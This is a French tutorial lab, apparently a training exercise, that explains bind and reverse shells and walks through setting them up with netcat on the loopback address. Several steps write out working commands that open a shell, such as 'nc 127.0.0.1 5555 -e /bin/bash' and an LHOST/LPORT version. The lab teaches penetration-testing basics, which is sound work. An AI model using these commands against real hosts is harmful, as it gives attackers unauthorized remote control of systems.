Introduction
Bienvenue dans ce laboratoire sur les charges utiles Bind et Reverse Shell. Dans le domaine de la cybersécurité, obtenir un accès distant à un système est un concept fondamental. Cet accès est généralement obtenu via des « shells », qui fournissent une interface de ligne de commande vers le système distant.
Il existe deux méthodes principales pour établir cette connexion : les Bind Shells et les Reverse Shells. Comprendre la différence entre ces deux méthodes est crucial tant pour la sécurité offensive (tests d'intrusion) que pour la sécurité défensive (configuration de pare-feu et réponse aux incidents). Dans ce laboratoire, vous utiliserez netcat (souvent qualifié de « couteau suisse » du réseau) pour simuler et interagir avec les deux types de charges utiles directement dans votre environnement.
La distinction la plus importante réside dans l'entité qui initie la connexion. Ce choix de conception détermine quel côté doit être accessible et quels contrôles réseau sont susceptibles d'interférer.
Comprendre les types de charges utiles
Dans cette étape, nous explorerons les différences théoriques entre un Bind Shell et un Reverse Shell, et nous préparerons notre espace de travail.
Un Bind Shell se produit lorsque la machine cible ouvre un port de communication et attend que l'attaquant s'y connecte. Imaginez cela comme un serveur attendant un client. La cible « lie » (bind) un shell (comme /bin/bash) à un port spécifique. L'attaquant se connecte ensuite activement à ce port pour prendre le contrôle. Cette méthode échoue souvent dans des scénarios réels car les pare-feu bloquent généralement les connexions entrantes vers des ports non attendus.
C'est conceptuellement simple mais opérationnellement fragile, car cela suppose que l'attaquant puisse atteindre directement le nouveau port d'écoute de la cible.
Un Reverse Shell est l'opposé. L'attaquant ouvre un port de communication sur sa propre machine et attend. La machine cible est alors forcée de se connecter activement vers la machine de l'attaquant. Comme les pare-feu autorisent généralement le trafic sortant (comme la navigation web), les reverse shells sont beaucoup plus efficaces pour contourner les restrictions réseau.
C'est pourquoi les reverse shells dominent la conception des charges utiles dans le monde réel : ils s'alignent mieux avec les politiques réseau courantes qui autorisent le trafic sortant.
Vérifions que notre outil netcat est prêt. Nous utiliserons nc pour créer nos shells. Exécutez la commande suivante pour afficher le menu d'aide de netcat :
nc -h
Vous devriez voir une sortie similaire à celle-ci, qui inclut l'option -e. L'option -e est cruciale car elle nous permet d'exécuter un programme (comme un shell bash) une fois la connexion établie :
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
...
-e prog program to exec after connect [dangerous!!]
...
Pour consolider vos connaissances, créons un fichier de notes rapide dans votre répertoire de projet. Utilisez la commande echo pour écrire un bref résumé dans un fichier nommé payload_notes.txt :
echo "Bind Shell: L'attaquant se connecte à la cible. Reverse Shell: La cible se connecte à l'attaquant." > ~/project/payload_notes.txt
Vous pouvez visualiser le contenu de votre nouveau fichier en utilisant la commande cat :
cat ~/project/payload_notes.txt
Configurer une charge utile Bind Shell
Dans cette étape, vous allez configurer et vous connecter à un Bind Shell. Nous simulerons à la fois la « cible » et l'« attaquant » sur votre machine actuelle.
Tout d'abord, nous devons configurer la cible. La cible utilisera netcat pour écouter sur un port spécifique et y lier un shell bash. Nous utiliserons le port 4444. Nous ajouterons une esperluette & à la fin de la commande pour l'exécuter en arrière-plan, ce qui nous permettra de continuer à utiliser le même terminal.
Exécutez la commande suivante pour démarrer l'écouteur Bind Shell :
nc -lvp 4444 -e /bin/bash &
Analysons cette commande. L'option -l le configure en mode écoute pour les connexions entrantes, tandis que l'option -v active le mode verbeux pour fournir une sortie plus détaillée. L'argument -p 4444 spécifie le port local sur lequel écouter, qui est ici 4444. Le paramètre -e /bin/bash est crucial car il exécute le shell bash dès qu'une connexion est établie. Enfin, le symbole & exécute l'ensemble du processus en arrière-plan.
Vous devriez voir une sortie indiquant que netcat est à l'écoute :
listening on [any] 4444 ...
Maintenant, agissez en tant qu'attaquant. Vous allez vous connecter au port ouvert de la cible. Comme la cible est votre propre machine, vous vous connecterez à l'adresse de bouclage locale 127.0.0.1.
Exécutez la commande suivante pour vous connecter au Bind Shell :
nc 127.0.0.1 4444
Vous verrez un message de connexion. Vous interagissez maintenant avec le shell bash lié au port 4444. Votre invite de commande pourrait ne pas changer, mais les commandes que vous tapez sont désormais exécutées via la connexion netcat.
Essayez d'exécuter une commande simple pour vérifier votre accès :
whoami
Elle devrait afficher labex. Maintenant, tapez exit pour fermer la connexion du bind shell et revenir à votre session de terminal normale :
exit
Configurer une charge utile Reverse Shell
Dans cette étape, vous allez configurer un Reverse Shell. C'est la méthode la plus courante et la plus pratique dans les scénarios réels. Ici, l'attaquant met en place un écouteur, et la cible exécute une charge utile qui se connecte vers l'attaquant.
Pour faciliter la compréhension du flux de connexion, utilisez deux fenêtres ou onglets de terminal pour cette étape. Le Terminal 1 agira en tant qu'attaquant, et le Terminal 2 agira en tant que cible.
Tout d'abord, dans le Terminal 1, démarrez l'écouteur de l'attaquant sur le port 5555 :
nc -lvp 5555
Laissez cet écouteur tourner. Ensuite, dans le Terminal 2, agissez en tant que cible et exécutez la charge utile du reverse shell :
nc 127.0.0.1 5555 -e /bin/bash
Dès que la deuxième commande est exécutée, le Terminal 1 devrait afficher une sortie indiquant une connexion réussie depuis la cible :
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 52348
Vous avez réussi à intercepter un reverse shell ! La cible a contacté votre port d'écoute. Comme précédemment, vous pouvez maintenant exécuter des commandes.
Vérifiez votre connexion en listant le contenu du répertoire actuel :
ls
Vous devriez voir le fichier payload_notes.txt que vous avez créé précédemment. Une fois terminé, tapez exit pour fermer la connexion du reverse shell :
exit
Configurer des écouteurs locaux (LHOST/LPORT)
Dans les frameworks de test d'intrusion professionnels comme Metasploit, vous rencontrerez fréquemment les termes LHOST et LPORT. Le LHOST (Local Host) fait référence à l'adresse IP de la machine de l'attaquant, qui est la machine en attente de connexion. Le LPORT (Local Port) fait référence au port spécifique sur la machine de l'attaquant qui écoute activement cette connexion entrante.
Dans cette étape, vous utiliserez des variables d'environnement Linux pour rendre ces valeurs plus faciles à réutiliser. Encore une fois, utilisez deux fenêtres ou onglets de terminal pour que l'écouteur de l'attaquant et la charge utile de la cible restent séparés.
Tout d'abord, dans le Terminal 1, définissez la variable LHOST. Comme nous testons localement, nous utiliserons l'adresse de bouclage :
export LHOST=127.0.0.1
Ensuite, définissez la variable LPORT. Nous utiliserons le port 6666 pour cet exercice final :
export LPORT=6666
Vous pouvez vérifier que ces variables sont correctement définies en utilisant la commande echo :
echo "Listening on IP: $LHOST and Port: $LPORT"
Démarrez maintenant l'écouteur dans le Terminal 1 :
nc -lvp $LPORT
Passez ensuite au Terminal 2 et définissez les mêmes variables :
export LHOST=127.0.0.1
export LPORT=6666
Utilisez ces variables pour exécuter la charge utile du reverse shell depuis le Terminal 2 :
nc "$LHOST" "$LPORT" -e /bin/bash
De retour dans le Terminal 1, vous verrez la connexion établie sur le port 6666 :
listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 48112
Vous êtes maintenant connecté via le reverse shell en utilisant des variables dynamiques. Exécutez une commande pour vérifier :
pwd
Enfin, quittez le shell pour terminer l'exercice :
exit
Résumé
Félicitations ! Dans ce laboratoire, vous avez exploré avec succès les mécanismes des Bind et Reverse Shells. Vous avez appris que les Bind Shells nécessitent que l'attaquant se connecte à la cible, tandis que les Reverse Shells nécessitent que la cible se connecte vers l'attaquant, ce qui les rend très efficaces contre les pare-feu. Vous vous êtes également exercé à configurer ces charges utiles en utilisant netcat et avez appris à utiliser les variables d'environnement LHOST et LPORT pour configurer dynamiquement des écouteurs locaux. Ces concepts fondamentaux sont essentiels pour comprendre la sécurité réseau et la livraison de charges utiles.



